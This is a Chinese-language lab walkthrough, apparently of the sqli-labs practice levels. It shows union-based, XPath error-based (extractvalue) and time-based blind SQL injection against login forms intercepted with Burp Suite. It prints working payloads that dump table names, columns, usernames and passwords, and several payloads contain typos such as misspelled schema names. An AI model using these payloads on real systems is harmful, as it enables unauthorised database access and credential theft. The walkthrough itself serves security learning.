方法:联合查询
输入用户名密码,打开bp进行抓包。
将抓到的包发送到repeater模块
首先猜测注入点在用户名上,判断闭合的方式是单引号,还是其他的。用单引号闭合时回显正常。
用双引号闭合时没用,回显,可知是用单引号闭合的。
判断列数
可知有两列,接下来我们就可用联合查询了。判断联合查询的回显是否正常。
接下来得到表名,语法:dumb' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
.
然后爆出字段名,语法:dumb' and 1=2 union select 1,group(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+
。
最后爆出详细的数据,语法:dumb' and 1=2 union select 1,group_concat(username,"-",password) from users --+
。
方法:联合查询
登录进行抓包
注入点在用户名上,判断他的闭合方式
单引号没有回显,说明闭合的方式不是单引号,我们试试双引号,回显语法错误,根据之前的经验,我们判断这里可能有小括号.
我们试试在双引号的后面再加上小括号,dumb")
回显无报错,闭合成功。它接下来的注入方法和第十一关一样,这里就不再赘述。
方法:xpath报错注入
首先我们在登录时会发现下面是没有回显的,因此是无法使用联合查询的
我们使用bp进行抓包,判断他的闭合方式。使用admin'--+
进行闭合时有报错,说明不是用单引号闭合的。但是从这里我们判断可以用报错注入来进行注入。
我们再尝试用admin')--+
来进行闭合。
没有报错,闭合成功。接下来我们爆出表名。语法:admin') and extractvalue(1,(select group_concat(table_name) from information_schema.tables where database()=table_schema)) --+
。
再爆出字段名语法:admin') and extractvalue(1,(select group_concat(column_name) from information_schema.columns where database()=table_schema and table_name="users")) --+
再爆出数据信息,语法:admin') and extractvalue(1,(select group_concat(username,"-",password) from users))--+
。
通过在后面加上where username not in ("","",...)
,来得到没有回显出来的数据。
方法:xpath报错注入
这一关也是没有回显的,因此无法使用联合查询。
我们用bp抓包,判断它的闭合方式。
当我们使用admin')
,进行闭合时后面的报错信息告诉了我们他的闭合方式应该是双引号。
我们尝试用双引号进行闭合,admin"--+
。
无报错,闭合成功。这里用admin'--+
,来进行闭合也是没用报错的,但是使用单引号来进行闭合在后面使用extractvalue()
函数进行注入时是没有回显的。这一关接下来的注入方式和第十三关相同,这里就不说了。
方法:延时注入
点击登录,用bp进行抓包
经过多次判断我们可知他的闭合方式是单引号。
我们判断它是否可以使用延时注入
可见,页面回显是由时间延时的可以使用延时注入。
我们首先判断数据库的名字。分两步走,先判断长度,再判断名字。
判断库名字长度的语法:admin' and if(length(database())=x,sleep(5),1) --+
,改变x的值即可判断出其长度。
判断库名字的语法:admin' and if(ascii(substr(database(),x,1))=y,sleep(5),1)--+
,改变x和y的值即可一位一位的判断出名字。
有了库的名字之后判断表的名字,还是两步走,先判断长度,再判断名字。
判断表名字长度的语法:admin' and if(length((select table_name from information_schema.tables where table_schema=database() limit x,1))
判断表名字的语法:admin' and if(left((select table_name from information_schema.tales where table_schema=database() limit x,1),y)="z",sleep(5),1)--+
,通过改变x,y,z的值即可得到所有的表名。
有了表名再来判断字段名,还是两步走,先判断字段名的长度,再判断字段名。
判断字段名长度的语法:admin' and if(length((select column_name from infromation_schema.columns where table_schema=database() and table_name="users" limit x,1))=y,sleep(5),1)--+
,通过改变x和y的值可得所有的字段名的长度。
判断字段名的语法:admin' and if(left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="z",sleep(5),1)--+
,通过改变x,y,z的值可以得到所有字段的名字。
最后判断数据名,依旧是两步走,先判读数据名的长度,再判断数据名的名字。
判断username长度的语法:admin' and if(length((select username from users limit x,1))=y,sleep(5),1)--+
,通过改变x和y的值可以得到所有username的长度。
判断username具体值的语法:admin' and if(left((select username from users limit x,1),y)="z",sleep(5),1)--+
,通过改变x,y,z的值可以得到所有的username的具体值。
把username改为password可以得到密码。结束。
延时注入就是这么麻烦,没办法。
方法:延时注入
这一关和第十五关唯一的区别就是闭合的方式不同,这一关的闭合方式是admin") --+
。
其他的步骤和第十五关一样。
方法:Xpath报错注入
这一关我们发现无论怎么在uname上进行注入都没用,本人突然灵光乍现,想到在passwd上进行注入可不可以。结果还真可以。
话不多说直接打开bp进行抓包,判断他的闭合方式。通过报错可知闭合方式为单引号。
接下来使用extractvalue()函数进行注入,首先得到表名。
语法:admin' and extractvalue(1,(select group_concat(table) from information_schema.tables where table_schema=database()))--+
。
然后爆出字段名,语法:admin' and extractvalue(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))--+
。
接下来爆出数据。语法:admin' and extractvalue(1,(select group_concat(username,"-",password) from users))
--+。
我们发现这里有了报错他的意思是,不能依据某字段值做判断再来更新某字段的值,我们这里的解决办法是嵌套一层select语句。语法:admin' and extractvalue(1,(select group_concat(username,"-",password) from (select group_concat(username,"-", "password") from users))) --+
。
又产生了报错,意思是我们需要给嵌套的select语句起一个别名,语法:admin' and extractvalue(1,(select group_concat(username,"-",password) from (select group_concat(username,"-", "password") from users)name )) --+
。
又产生了报错,这里我们的extractvalue()函数的语法有错误,它里面应该不能用group_concat()函数,我们将group_concat函数删除,先想办法爆出用户名,语法:admin' and extractvalue(1,(select username from (select username from users)name )) --+
。
这里提示我们超出了显示的范围,我们加上limit语句。语法:admin' and extractvalue(1,(select username from (select username from users limit 1,1)name )) --+
。
我们发现此时无报错,也没有回显出来数据内容。这是由于我们的extractvalue()函数的语法不标准造成的,该函数的标准语法为:extractvalue(1,concat("^",(select version()),"^"))
。我们将我们的语句改为:admin' and extractvalue(1,concat("^", (select username from (select username from users limit 1,1)name),"^") ) --+
。
我们成功的回显出了第一个用户名。接下来我们只需要改变limit x,1中x的值就可以爆出其他的用户名。最后我们爆出密码,语法:admin' and extractvalue(1,concat("^", (select password from (select password from users where username='admin')name),"^")) --+
。通过更改username的值可以得到不同的用户的密码。
这里不知到为撒只爆出了一个0。。。